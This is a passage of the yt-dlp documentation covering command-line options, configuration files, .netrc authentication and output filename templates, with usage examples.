--no-warnings Ignore warnings
-s, --simulate Do not download the video and do not write
anything to disk
--no-simulate Download the video even if printing/listing
options are used
--ignore-no-formats-error Ignore "No video formats" error. Useful for
extracting metadata even if the videos are
not actually available for download
(experimental)
--no-ignore-no-formats-error Throw error when no downloadable video
formats are found (default)
--skip-download Do not download the video but write all
related files (Alias: --no-download)
-O, --print [WHEN:]TEMPLATE Field name or output template to print to
screen, optionally prefixed with when to
print it, separated by a ":". Supported
values of "WHEN" are the same as that of
--use-postprocessor (default: video).
Implies --quiet. Implies --simulate unless
--no-simulate or later stages of WHEN are
used. This option can be used multiple times
--print-to-file [WHEN:]TEMPLATE FILE
Append given template to the file. The
values of WHEN and TEMPLATE are same as that
of --print. FILE uses the same syntax as the
output template. This option can be used
multiple times
-j, --dump-json Quiet, but print JSON information for each
video. Simulate unless --no-simulate is
used. See "OUTPUT TEMPLATE" for a
description of available keys
-J, --dump-single-json Quiet, but print JSON information for each
url or infojson passed. Simulate unless
--no-simulate is used. If the URL refers to
a playlist, the whole playlist information
is dumped in a single line
--force-write-archive Force download archive entries to be written
as far as no errors occur, even if -s or
another simulation option is used (Alias:
--force-download-archive)
--newline Output progress bar as new lines
--no-progress Do not print progress bar
--progress Show progress bar, even if in quiet mode
--console-title Display progress in console titlebar
--progress-template [TYPES:]TEMPLATE
Template for progress outputs, optionally
prefixed with one of "download:" (default),
"download-title:" (the console title),
"postprocess:", or "postprocess-title:".
The video's fields are accessible under the
"info" key and the progress attributes are
accessible under "progress" key. E.g.
--console-title --progress-template
"download-title:%(info.id)s-%(progress.eta)s"
-v, --verbose Print various debugging information
--dump-pages Print downloaded pages encoded using base64
to debug problems (very verbose)
--write-pages Write downloaded intermediary pages to files
in the current directory to debug problems
--print-traffic Display sent and read HTTP traffic
## Workarounds:
--encoding ENCODING Force the specified encoding (experimental)
--legacy-server-connect Explicitly allow HTTPS connection to servers
that do not support RFC 5746 secure
renegotiation
--no-check-certificates Suppress HTTPS certificate validation
--prefer-insecure Use an unencrypted connection to retrieve
information about the video (Currently
supported only for YouTube)
--add-headers FIELD:VALUE Specify a custom HTTP header and its value,
separated by a colon ":". You can use this
option multiple times
--bidi-workaround Work around terminals that lack
bidirectional text support. Requires bidiv
or fribidi executable in PATH
--sleep-requests SECONDS Number of seconds to sleep between requests
during data extraction
--sleep-interval SECONDS Number of seconds to sleep before each
download. This is the minimum time to sleep
when used along with --max-sleep-interval
(Alias: --min-sleep-interval)
--max-sleep-interval SECONDS Maximum number of seconds to sleep. Can only
be used along with --min-sleep-interval
--sleep-subtitles SECONDS Number of seconds to sleep before each
subtitle download
## Video Format Options:
-f, --format FORMAT Video format code, see "FORMAT SELECTION"
for more details
-S, --format-sort SORTORDER Sort the formats by the fields given, see
"Sorting Formats" for more details
--format-sort-force Force user specified sort order to have
precedence over all fields, see "Sorting
Formats" for more details (Alias: --S-force)
--no-format-sort-force Some fields have precedence over the user
specified sort order (default)
--video-multistreams Allow multiple video streams to be merged
into a single file
--no-video-multistreams Only one video stream is downloaded for each
output file (default)
--audio-multistreams Allow multiple audio streams to be merged
into a single file
--no-audio-multistreams Only one audio stream is downloaded for each
output file (default)
--prefer-free-formats Prefer video formats with free containers
over non-free ones of same quality. Use with
"-S ext" to strictly prefer free containers
irrespective of quality
--no-prefer-free-formats Don't give any special preference to free
containers (default)
--check-formats Make sure formats are selected only from
those that are actually downloadable
--check-all-formats Check all formats for whether they are
actually downloadable
--no-check-formats Do not check that the formats are actually
downloadable
-F, --list-formats List available formats of each video.
Simulate unless --no-simulate is used
--merge-output-format FORMAT Containers that may be used when merging
formats, separated by "/", e.g. "mp4/mkv".
Ignored if no merge is required. (currently
supported: avi, flv, mkv, mov, mp4, webm)
## Subtitle Options:
--write-subs Write subtitle file
--no-write-subs Do not write subtitle file (default)
--write-auto-subs Write automatically generated subtitle file
(Alias: --write-automatic-subs)
--no-write-auto-subs Do not write auto-generated subtitles
(default) (Alias: --no-write-automatic-subs)
--list-subs List available subtitles of each video.
Simulate unless --no-simulate is used
--sub-format FORMAT Subtitle format; accepts formats preference,
e.g. "srt" or "ass/srt/best"
--sub-langs LANGS Languages of the subtitles to download (can
be regex) or "all" separated by commas, e.g.
--sub-langs "en.*,ja". You can prefix the
language code with a "-" to exclude it from
the requested languages, e.g. --sub-langs
all,-live_chat. Use --list-subs for a list
of available language tags
## Authentication Options:
-u, --username USERNAME Login with this account ID
-p, --password PASSWORD Account password. If this option is left
out, yt-dlp will ask interactively
-2, --twofactor TWOFACTOR Two-factor authentication code
-n, --netrc Use .netrc authentication data
--netrc-location PATH Location of .netrc authentication data;
either the path or its containing directory.
Defaults to ~/.netrc
--netrc-cmd NETRC_CMD Command to execute to get the credentials
for an extractor.
--video-password PASSWORD Video password (vimeo, youku)
--ap-mso MSO Adobe Pass multiple-system operator (TV
provider) identifier, use --ap-list-mso for
a list of available MSOs
--ap-username USERNAME Multiple-system operator account login
--ap-password PASSWORD Multiple-system operator account password.
If this option is left out, yt-dlp will ask
interactively
--ap-list-mso List all supported multiple-system operators
--client-certificate CERTFILE Path to client certificate file in PEM
format. May include the private key
--client-certificate-key KEYFILE
Path to private key file for client
certificate
--client-certificate-password PASSWORD
Password for client certificate private key,
if encrypted. If not provided, and the key
is encrypted, yt-dlp will ask interactively
## Post-Processing Options:
-x, --extract-audio Convert video files to audio-only files
(requires ffmpeg and ffprobe)
--audio-format FORMAT Format to convert the audio to when -x is
used. (currently supported: best (default),
aac, alac, flac, m4a, mp3, opus, vorbis,
wav). You can specify multiple rules using
similar syntax as --remux-video
--audio-quality QUALITY Specify ffmpeg audio quality to use when
converting the audio with -x. Insert a value
between 0 (best) and 10 (worst) for VBR or a
specific bitrate like 128K (default 5)
--remux-video FORMAT Remux the video into another container if
necessary (currently supported: avi, flv,
gif, mkv, mov, mp4, webm, aac, aiff, alac,
flac, m4a, mka, mp3, ogg, opus, vorbis,
wav). If target container does not support
the video/audio codec, remuxing will fail.
You can specify multiple rules; e.g.
"aac>m4a/mov>mp4/mkv" will remux aac to m4a,
mov to mp4 and anything else to mkv
--recode-video FORMAT Re-encode the video into another format if
necessary. The syntax and supported formats
are the same as --remux-video
--postprocessor-args NAME:ARGS Give these arguments to the postprocessors.
Specify the postprocessor/executable name
and the arguments separated by a colon ":"
to give the argument to the specified
postprocessor/executable. Supported PP are:
Merger, ModifyChapters, SplitChapters,
ExtractAudio, VideoRemuxer, VideoConvertor,
Metadata, EmbedSubtitle, EmbedThumbnail,
SubtitlesConvertor, ThumbnailsConvertor,
FixupStretched, FixupM4a, FixupM3u8,
FixupTimestamp and FixupDuration. The
supported executables are: AtomicParsley,
FFmpeg and FFprobe. You can also specify
"PP+EXE:ARGS" to give the arguments to the
specified executable only when being used by
the specified postprocessor. Additionally,
for ffmpeg/ffprobe, "_i"/"_o" can be
appended to the prefix optionally followed
by a number to pass the argument before the
specified input/output file, e.g. --ppa
"Merger+ffmpeg_i1:-v quiet". You can use
this option multiple times to give different
arguments to different postprocessors.
(Alias: --ppa)
-k, --keep-video Keep the intermediate video file on disk
after post-processing
--no-keep-video Delete the intermediate video file after
post-processing (default)
--post-overwrites Overwrite post-processed files (default)
--no-post-overwrites Do not overwrite post-processed files
--embed-subs Embed subtitles in the video (only for mp4,
webm and mkv videos)
--no-embed-subs Do not embed subtitles (default)
--embed-thumbnail Embed thumbnail in the video as cover art
--no-embed-thumbnail Do not embed thumbnail (default)
--embed-metadata Embed metadata to the video file. Also
embeds chapters/infojson if present unless
--no-embed-chapters/--no-embed-info-json are
used (Alias: --add-metadata)
--no-embed-metadata Do not add metadata to file (default)
(Alias: --no-add-metadata)
--embed-chapters Add chapter markers to the video file
(Alias: --add-chapters)
--no-embed-chapters Do not add chapter markers (default) (Alias:
--no-add-chapters)
--embed-info-json Embed the infojson as an attachment to
mkv/mka video files
--no-embed-info-json Do not embed the infojson as an attachment
to the video file
--parse-metadata [WHEN:]FROM:TO
Parse additional metadata like title/artist
from other fields; see "MODIFYING METADATA"
for details. Supported values of "WHEN" are
the same as that of --use-postprocessor
(default: pre_process)
--replace-in-metadata [WHEN:]FIELDS REGEX REPLACE
Replace text in a metadata field using the
given regex. This option can be used
multiple times. Supported values of "WHEN"
are the same as that of --use-postprocessor
(default: pre_process)
--xattrs Write metadata to the video file's xattrs
(using dublin core and xdg standards)
--concat-playlist POLICY Concatenate videos in a playlist. One of
"never", "always", or "multi_video"
(default; only when the videos form a single
show). All the video files must have same
codecs and number of streams to be
concatable. The "pl_video:" prefix can be
used with "--paths" and "--output" to set
the output filename for the concatenated
files. See "OUTPUT TEMPLATE" for details
--fixup POLICY Automatically correct known faults of the
file. One of never (do nothing), warn (only
emit a warning), detect_or_warn (the
default; fix file if we can, warn
otherwise), force (try fixing even if file
already exists)
--ffmpeg-location PATH Location of the ffmpeg binary; either the
path to the binary or its containing directory
--exec [WHEN:]CMD Execute a command, optionally prefixed with
when to execute it, separated by a ":".
Supported values of "WHEN" are the same as
that of --use-postprocessor (default:
after_move). Same syntax as the output
template can be used to pass any field as
arguments to the command. If no fields are
passed, %(filepath,_filename|)q is appended
to the end of the command. This option can
be used multiple times
--no-exec Remove any previously defined --exec
--convert-subs FORMAT Convert the subtitles to another format
(currently supported: ass, lrc, srt, vtt)
(Alias: --convert-subtitles)
--convert-thumbnails FORMAT Convert the thumbnails to another format
(currently supported: jpg, png, webp). You
can specify multiple rules using similar
syntax as --remux-video
--split-chapters Split video into multiple files based on
internal chapters. The "chapter:" prefix can
be used with "--paths" and "--output" to set
the output filename for the split files. See
"OUTPUT TEMPLATE" for details
--no-split-chapters Do not split video based on chapters (default)
--remove-chapters REGEX Remove chapters whose title matches the
given regular expression. The syntax is the
same as --download-sections. This option can
be used multiple times
--no-remove-chapters Do not remove any chapters from the file
(default)
--force-keyframes-at-cuts Force keyframes at cuts when
downloading/splitting/removing sections.
This is slow due to needing a re-encode, but
the resulting video may have fewer artifacts
around the cuts
--no-force-keyframes-at-cuts Do not force keyframes around the chapters
when cutting/splitting (default)
--use-postprocessor NAME[:ARGS]
The (case sensitive) name of plugin
postprocessors to be enabled, and
(optionally) arguments to be passed to it,
separated by a colon ":". ARGS are a
semicolon ";" delimited list of NAME=VALUE.
The "when" argument determines when the
postprocessor is invoked. It can be one of
"pre_process" (after video extraction),
"after_filter" (after video passes filter),
"video" (after --format; before
--print/--output), "before_dl" (before each
video download), "post_process" (after each
video download; default), "after_move"
(after moving video file to it's final
locations), "after_video" (after downloading
and processing all formats of a video), or
"playlist" (at end of playlist). This option
can be used multiple times to add different
postprocessors
## SponsorBlock Options:
Make chapter entries for, or remove various segments (sponsor,
introductions, etc.) from downloaded YouTube videos using the
[SponsorBlock API](https://sponsor.ajay.app)
--sponsorblock-mark CATS SponsorBlock categories to create chapters
for, separated by commas. Available
categories are sponsor, intro, outro,
selfpromo, preview, filler, interaction,
music_offtopic, poi_highlight, chapter, all
and default (=all). You can prefix the
category with a "-" to exclude it. See [1]
for description of the categories. E.g.
--sponsorblock-mark all,-preview
[1] https://wiki.sponsor.ajay.app/w/Segment_Categories
--sponsorblock-remove CATS SponsorBlock categories to be removed from
the video file, separated by commas. If a
category is present in both mark and remove,
remove takes precedence. The syntax and
available categories are the same as for
--sponsorblock-mark except that "default"
refers to "all,-filler" and poi_highlight,
chapter are not available
--sponsorblock-chapter-title TEMPLATE
An output template for the title of the
SponsorBlock chapters created by
--sponsorblock-mark. The only available
fields are start_time, end_time, category,
categories, name, category_names. Defaults
to "[SponsorBlock]: %(category_names)l"
--no-sponsorblock Disable both --sponsorblock-mark and
--sponsorblock-remove
--sponsorblock-api URL SponsorBlock API location, defaults to
https://sponsor.ajay.app
## Extractor Options:
--extractor-retries RETRIES Number of retries for known extractor errors
(default is 3), or "infinite"
--allow-dynamic-mpd Process dynamic DASH manifests (default)
(Alias: --no-ignore-dynamic-mpd)
--ignore-dynamic-mpd Do not process dynamic DASH manifests
(Alias: --no-allow-dynamic-mpd)
--hls-split-discontinuity Split HLS playlists to different formats at
discontinuities such as ad breaks
--no-hls-split-discontinuity Do not split HLS playlists to different
formats at discontinuities such as ad breaks
(default)
--extractor-args IE_KEY:ARGS Pass ARGS arguments to the IE_KEY extractor.
See "EXTRACTOR ARGUMENTS" for details. You
can use this option multiple times to give
arguments for different extractors
# CONFIGURATION
You can configure yt-dlp by placing any supported command line option to a configuration file. The configuration is loaded from the following locations:
1. **Main Configuration**:
* The file given by `--config-location`
1. **Portable Configuration**: (Recommended for portable installations)
* If using a binary, `yt-dlp.conf` in the same directory as the binary
* If running from source-code, `yt-dlp.conf` in the parent directory of `yt_dlp`
1. **Home Configuration**:
* `yt-dlp.conf` in the home path given by `-P`
* If `-P` is not given, the current directory is searched
1. **User Configuration**:
* `${XDG_CONFIG_HOME}/yt-dlp.conf`
* `${XDG_CONFIG_HOME}/yt-dlp/config` (recommended on Linux/macOS)
* `${XDG_CONFIG_HOME}/yt-dlp/config.txt`
* `${APPDATA}/yt-dlp.conf`
* `${APPDATA}/yt-dlp/config` (recommended on Windows)
* `${APPDATA}/yt-dlp/config.txt`
* `~/yt-dlp.conf`
* `~/yt-dlp.conf.txt`
* `~/.yt-dlp/config`
* `~/.yt-dlp/config.txt`
See also: [Notes about environment variables](#notes-about-environment-variables)
1. **System Configuration**:
* `/etc/yt-dlp.conf`
* `/etc/yt-dlp/config`
* `/etc/yt-dlp/config.txt`
E.g. with the following configuration file yt-dlp will always extract the audio, not copy the mtime, use a proxy and save all videos under `YouTube` directory in your home directory:
```
# Lines starting with # are comments
# Always extract audio
-x
# Do not copy the mtime
--no-mtime
# Use this proxy
--proxy 127.0.0.1:3128
# Save all videos under YouTube directory in your home directory
-o ~/YouTube/%(title)s.%(ext)s
```
**Note**: Options in configuration file are just the same options aka switches used in regular command line calls; thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`. They must also be quoted when necessary as-if it were a UNIX shell.
You can use `--ignore-config` if you want to disable all configuration files for a particular yt-dlp run. If `--ignore-config` is found inside any configuration file, no further configuration will be loaded. For example, having the option in the portable configuration file prevents loading of home, user, and system configurations. Additionally, (for backward compatibility) if `--ignore-config` is found inside the system configuration file, the user configuration is not loaded.
### Configuration file encoding
The configuration files are decoded according to the UTF BOM if present, and in the encoding from system locale otherwise.
If you want your file to be decoded differently, add `# coding: ENCODING` to the beginning of the file (e.g. `# coding: shift-jis`). There must be no characters before that, even spaces or BOM.
### Authentication with netrc
You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every yt-dlp execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per-extractor basis. For that you will need to create a `.netrc` file in `--netrc-location` and restrict permissions to read/write by only you:
```
touch ${HOME}/.netrc
chmod a-rwx,u+rw ${HOME}/.netrc
```
After that you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase:
```
machine <extractor> login <username> password <password>
```
E.g.
```
machine youtube login [email protected] password my_youtube_password
machine twitch login my_twitch_account_name password my_twitch_password
```
To activate authentication with the `.netrc` file you should pass `--netrc` to yt-dlp or place it in the [configuration file](#configuration).
The default location of the .netrc file is `~` (see below).
As an alternative to using the `.netrc` file, which has the disadvantage of keeping your passwords in a plain text file, you can configure a custom shell command to provide the credentials for an extractor. This is done by providing the `--netrc-cmd` parameter, it shall output the credentials in the netrc format and return `0` on success, other values will be treated as an error. `{}` in the command will be replaced by the name of the extractor to make it possible to select the credentials for the right extractor.
E.g. To use an encrypted `.netrc` file stored as `.authinfo.gpg`
```
yt-dlp --netrc-cmd 'gpg --decrypt ~/.authinfo.gpg' https://www.youtube.com/watch?v=BaW_jenozKc
```
### Notes about environment variables
* Environment variables are normally specified as `${VARIABLE}`/`$VARIABLE` on UNIX and `%VARIABLE%` on Windows; but is always shown as `${VARIABLE}` in this documentation
* yt-dlp also allow using UNIX-style variables on Windows for path-like options; e.g. `--output`, `--config-location`
* If unset, `${XDG_CONFIG_HOME}` defaults to `~/.config` and `${XDG_CACHE_HOME}` to `~/.cache`
* On Windows, `~` points to `${HOME}` if present; or, `${USERPROFILE}` or `${HOMEDRIVE}${HOMEPATH}` otherwise
* On Windows, `${USERPROFILE}` generally points to `C:\Users\<user name>` and `${APPDATA}` to `${USERPROFILE}\AppData\Roaming`
# OUTPUT TEMPLATE
The `-o` option is used to indicate a template for the output file names while `-P` option is used to specify the path each type of file should be saved to.
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**tl;dr:** [navigate me to examples](#output-template-examples).
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The simplest usage of `-o` is not to set any template arguments when downloading a single file, like in `yt-dlp -o funny_video.flv "https://some/video"` (hard-coding file extension like this is _not_ recommended and could break some post-processing).
It may however also contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [Python string formatting operations](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting), e.g. `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations.
The field names themselves (the part inside the parenthesis) can also have some special formatting:
1. **Object traversal**: The dictionaries and lists available in metadata can be traversed by using a dot `.` separator; e.g. `%(tags.0)s`, `%(subtitles.en.-1.ext)s`. You can do Python slicing with colon `:`; E.g. `%(id.3:7:-1)s`, `%(formats.:.format_id)s`. Curly braces `{}` can be used to build dictionaries with only specific keys; e.g. `%(formats.:.{format_id,height})#j`. An empty field name `%()s` refers to the entire infodict; e.g. `%(.{id,title})s`. Note that all the fields that become available using this method are not listed below. Use `-j` to see such fields
1. **Addition**: Addition and subtraction of numeric fields can be done using `+` and `-` respectively. E.g. `%(playlist_index+10)03d`, `%(n_entries+1-playlist_index)d`
1. **Date/time Formatting**: Date/time fields can be formatted according to [strftime formatting](https://docs.python.org/3/library/datetime.html#strftime-and-strptime-format-codes) by specifying it separated from the field name using a `>`. E.g. `%(duration>%H-%M-%S)s`, `%(upload_date>%Y-%m-%d)s`, `%(epoch-3600>%H-%M-%S)s`
1. **Alternatives**: Alternate fields can be specified separated with a `,`. E.g. `%(release_date>%Y,upload_date>%Y|Unknown)s`
1. **Replacement**: A replacement value can be specified using a `&` separator according to the [`str.format` mini-language](https://docs.python.org/3/library/string.html#format-specification-mini-language). If the field is *not* empty, this replacement value will be used instead of the actual field content. This is done after alternate fields are considered; thus the replacement is used if *any* of the alternative fields is *not* empty. E.g. `%(chapters&has chapters|no chapters)s`, `%(title&TITLE={:>20}|NO TITLE)s`
1. **Default**: A literal default value can be specified for when the field is empty using a `|` separator. This overrides `--output-na-placeholder`. E.g. `%(uploader|Unknown)s`
1. **More Conversions**: In addition to the normal format types `diouxXeEfFgGcrs`, yt-dlp additionally supports converting to `B` = **B**ytes, `j` = **j**son (flag `#` for pretty-printing, `+` for Unicode), `h` = HTML escaping, `l` = a comma separated **l**ist (flag `#` for `\n` newline-separated), `q` = a string **q**uoted for the terminal (flag `#` to split a list into different arguments), `D` = add **D**ecimal suffixes (e.g. 10M) (flag `#` to use 1024 as factor), and `S` = **S**anitize as filename (flag `#` for restricted)
1. **Unicode normalization**: The format type `U` can be used for NFC [Unicode normalization](https://docs.python.org/3/library/unicodedata.html#unicodedata.normalize). The alternate form flag (`#`) changes the normalization to NFD and the conversion flag `+` can be used for NFKC/NFKD compatibility equivalence normalization. E.g. `%(title)+.100U` is NFKC
To summarize, the general syntax for a field is:
```
%(name[.keys][addition][>strf][,alternate][&replacement][|default])[flags][width][.precision][length]type
```
Additionally, you can set different output templates for the various metadata files separately from the general output template by specifying the type of file followed by the template separated by a colon `:`. The different file types supported are `subtitle`, `thumbnail`, `description`, `annotation` (deprecated), `infojson`, `link`, `pl_thumbnail`, `pl_description`, `pl_infojson`, `chapter`, `pl_video`. E.g. `-o "%(title)s.%(ext)s" -o "thumbnail:%(title)s\%(title)s.%(ext)s"` will put the thumbnails in a folder with the same name as the video. If any of the templates is empty, that type of file will not be written. E.g. `--write-thumbnail -o "thumbnail:"` will write thumbnails only for playlists and not for video.
<a id="outtmpl-postprocess-note"/>
**Note**: Due to post-processing (i.e. merging etc.), the actual output filename might differ. Use `--print after_move:filepath` to get the name after all post-processing is complete.
The available fields are:
- `id` (string): Video identifier
- `title` (string): Video title
- `fulltitle` (string): Video title ignoring live timestamp and generic title
- `ext` (string): Video filename extension
- `alt_title` (string): A secondary title of the video
- `description` (string): The description of the video
- `display_id` (string): An alternative identifier for the video
- `uploader` (string): Full name of the video uploader
- `license` (string): License name the video is licensed under
- `creator` (string): The creator of the video
- `timestamp` (numeric): UNIX timestamp of the moment the video became available
- `upload_date` (string): Video upload date in UTC (YYYYMMDD)
- `release_timestamp` (numeric): UNIX timestamp of the moment the video was released
- `release_date` (string): The date (YYYYMMDD) when the video was released in UTC
- `modified_timestamp` (numeric): UNIX timestamp of the moment the video was last modified
- `modified_date` (string): The date (YYYYMMDD) when the video was last modified in UTC
- `uploader_id` (string): Nickname or id of the video uploader
- `channel` (string): Full name of the channel the video is uploaded on
- `channel_id` (string): Id of the channel
- `channel_follower_count` (numeric): Number of followers of the channel
- `channel_is_verified` (boolean): Whether the channel is verified on the platform
- `location` (string): Physical location where the video was filmed
- `duration` (numeric): Length of the video in seconds
- `duration_string` (string): Length of the video (HH:mm:ss)
- `view_count` (numeric): How many users have watched the video on the platform
- `concurrent_view_count` (numeric): How many users are currently watching the video on the platform.
- `like_count` (numeric): Number of positive ratings of the video
- `dislike_count` (numeric): Number of negative ratings of the video
- `repost_count` (numeric): Number of reposts of the video
- `average_rating` (numeric): Average rating give by users, the scale used depends on the webpage
- `comment_count` (numeric): Number of comments on the video (For some extractors, comments are only downloaded at the end, and so this field cannot be used)
- `age_limit` (numeric): Age restriction for the video (years)
- `live_status` (string): One of "not_live", "is_live", "is_upcoming", "was_live", "post_live" (was live, but VOD is not yet processed)
- `is_live` (boolean): Whether this video is a live stream or a fixed-length video
- `was_live` (boolean): Whether this video was originally a live stream
- `playable_in_embed` (string): Whether this video is allowed to play in embedded players on other sites
- `availability` (string): Whether the video is "private", "premium_only", "subscriber_only", "needs_auth", "unlisted" or "public"
- `start_time` (numeric): Time in seconds where the reproduction should start, as specified in the URL
- `end_time` (numeric): Time in seconds where the reproduction should end, as specified in the URL
- `extractor` (string): Name of the extractor
- `extractor_key` (string): Key name of the extractor
- `epoch` (numeric): Unix epoch of when the information extraction was completed
- `autonumber` (numeric): Number that will be increased with each download, starting at `--autonumber-start`, padded with leading zeros to 5 digits
- `video_autonumber` (numeric): Number that will be increased with each video
- `n_entries` (numeric): Total number of extracted items in the playlist
- `playlist_id` (string): Identifier of the playlist that contains the video
- `playlist_title` (string): Name of the playlist that contains the video
- `playlist` (string): `playlist_id` or `playlist_title`
- `playlist_count` (numeric): Total number of items in the playlist. May not be known if entire playlist is not extracted
- `playlist_index` (numeric): Index of the video in the playlist padded with leading zeros according the final index
- `playlist_autonumber` (numeric): Position of the video in the playlist download queue padded with leading zeros according to the total length of the playlist
- `playlist_uploader` (string): Full name of the playlist uploader
- `playlist_uploader_id` (string): Nickname or id of the playlist uploader
- `webpage_url` (string): A URL to the video webpage which if given to yt-dlp should allow to get the same result again
- `webpage_url_basename` (string): The basename of the webpage URL
- `webpage_url_domain` (string): The domain of the webpage URL
- `original_url` (string): The URL given by the user (or same as `webpage_url` for playlist entries)
All the fields in [Filtering Formats](#filtering-formats) can also be used
Available for the video that belongs to some logical chapter or section:
- `chapter` (string): Name or title of the chapter the video belongs to
- `chapter_number` (numeric): Number of the chapter the video belongs to
- `chapter_id` (string): Id of the chapter the video belongs to
Available for the video that is an episode of some series or programme:
- `series` (string): Title of the series or programme the video episode belongs to
- `season` (string): Title of the season the video episode belongs to
- `season_number` (numeric): Number of the season the video episode belongs to
- `season_id` (string): Id of the season the video episode belongs to
- `episode` (string): Title of the video episode
- `episode_number` (numeric): Number of the video episode within a season
- `episode_id` (string): Id of the video episode
Available for the media that is a track or a part of a music album:
- `track` (string): Title of the track
- `track_number` (numeric): Number of the track within an album or a disc
- `track_id` (string): Id of the track
- `artist` (string): Artist(s) of the track
- `genre` (string): Genre(s) of the track
- `album` (string): Title of the album the track belongs to
- `album_type` (string): Type of the album
- `album_artist` (string): List of all artists appeared on the album
- `disc_number` (numeric): Number of the disc or other physical medium the track belongs to
- `release_year` (numeric): Year (YYYY) when the album was released
Available only when using `--download-sections` and for `chapter:` prefix when using `--split-chapters` for videos with internal chapters:
- `section_title` (string): Title of the chapter
- `section_number` (numeric): Number of the chapter within the file
- `section_start` (numeric): Start time of the chapter in seconds
- `section_end` (numeric): End time of the chapter in seconds
Available only when used in `--print`:
- `urls` (string): The URLs of all requested formats, one in each line
- `filename` (string): Name of the video file. Note that the [actual filename may differ](#outtmpl-postprocess-note)
- `formats_table` (table): The video format table as printed by `--list-formats`
- `thumbnails_table` (table): The thumbnail format table as printed by `--list-thumbnails`
- `subtitles_table` (table): The subtitle format table as printed by `--list-subs`
- `automatic_captions_table` (table): The automatic subtitle format table as printed by `--list-subs`
Available only after the video is downloaded (`post_process`/`after_move`):
- `filepath`: Actual path of downloaded video file
Available only in `--sponsorblock-chapter-title`:
- `start_time` (numeric): Start time of the chapter in seconds
- `end_time` (numeric): End time of the chapter in seconds
- `categories` (list): The [SponsorBlock categories](https://wiki.sponsor.ajay.app/w/Types#Category) the chapter belongs to
- `category` (string): The smallest SponsorBlock category the chapter belongs to
- `category_names` (list): Friendly names of the categories
- `name` (string): Friendly name of the smallest category
- `type` (string): The [SponsorBlock action type](https://wiki.sponsor.ajay.app/w/Types#Action_Type) of the chapter
Each aforementioned sequence when referenced in an output template will be replaced by the actual value corresponding to the sequence name. E.g. for `-o %(title)s-%(id)s.%(ext)s` and an mp4 video with title `yt-dlp test video` and id `BaW_jenozKc`, this will result in a `yt-dlp test video-BaW_jenozKc.mp4` file created in the current directory.
**Note**: Some of the sequences are not guaranteed to be present since they depend on the metadata obtained by a particular extractor. Such sequences will be replaced with placeholder value provided with `--output-na-placeholder` (`NA` by default).
**Tip**: Look at the `-j` output to identify which fields are available for the particular URL
For numeric sequences you can use [numeric related formatting](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting); e.g. `%(view_count)05d` will result in a string with view count padded with zeros up to 5 characters, like in `00042`.
Output templates can also contain arbitrary hierarchical path, e.g. `-o "%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s"` which will result in downloading each video in a directory corresponding to this path template. Any missing directory will be automatically created for you.
To use percent literals in an output template use `%%`. To output to stdout use `-o -`.
The current default template is `%(title)s [%(id)s].%(ext)s`.
In some cases, you don't want special characters such as 中, spaces, or &, such as when transferring the downloaded filename to a Windows system or the filename through an 8bit-unsafe channel. In these cases, add the `--restrict-filenames` flag to get a shorter title.
#### Output template examples
```bash
$ yt-dlp --print filename -o "test video.%(ext)s" BaW_jenozKc
test video.webm # Literal name with correct extension
$ yt-dlp --print filename -o "%(title)s.%(ext)s" BaW_jenozKc
youtube-dl test video ''_ä↭𝕐.webm # All kinds of weird characters
$ yt-dlp --print filename -o "%(title)s.%(ext)s" BaW_jenozKc --restrict-filenames
youtube-dl_test_video_.webm # Restricted file name
# Download YouTube playlist videos in separate directory indexed by video order in a playlist
$ yt-dlp -o "%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s" "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re"
# Download YouTube playlist videos in separate directories according to their uploaded year
$ yt-dlp -o "%(upload_date>%Y)s/%(title)s.%(ext)s" "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re"
# Prefix playlist index with " - " separator, but only if it is available
$ yt-dlp -o "%(playlist_index&{} - |)s%(title)s.%(ext)s" BaW_jenozKc "https://www.youtube.com/user/TheLinuxFoundation/playlists"
# Download all playlists of YouTube channel/user keeping each playlist in separate directory:
$ yt-dlp -o "%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s" "https://www.youtube.com/user/TheLinuxFoundation/playlists"
# Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home
$ yt-dlp -u user -p password -P "~/MyVideos" -o "%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s" "https://www.udemy.com/java-tutorial"
# Download entire series season keeping each series and each season in separate directory under C:/MyVideos
$ yt-dlp -P "C:/MyVideos" -o "%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s" "https://videomore.ru/kino_v_detalayah/5_sezon/367617"
# Download video as "C:\MyVideos\uploader\title.ext", subtitles as "C:\MyVideos\subs\uploader\title.ext"
# and put all temporary files in "C:\MyVideos\tmp"
$ yt-dlp -P "C:/MyVideos" -P "temp:tmp" -P "subtitle:subs" -o "%(uploader)s/%(title)s.%(ext)s" BaW_jenoz --write-subs
# Download video as "C:\MyVideos\uploader\title.ext" and subtitles as "C:\MyVideos\uploader\subs\title.ext"
$ yt-dlp -P "C:/MyVideos" -o "%(uploader)s/%(title)s.%(ext)s" -o "subtitle:%(uploader)s/subs/%(title)s.%(ext)s" BaW_jenozKc --write-subs
# Stream the video being downloaded to stdout
$ yt-dlp -o - BaW_jenozKc
```
# FORMAT SELECTION
By default, yt-dlp tries to download the best available quality if you **don't** pass any options.
This is generally equivalent to using `-f bestvideo*+bestaudio/best`. However, if multiple audiostreams is enabled (`--audio-multistreams`), the default format changes to `-f bestvideo+bestaudio/best`. Similarly, if ffmpeg is unavailable, or if you use yt-dlp to stream to `stdout` (`-o -`), the default becomes `-f best/bestvideo+bestaudio`.
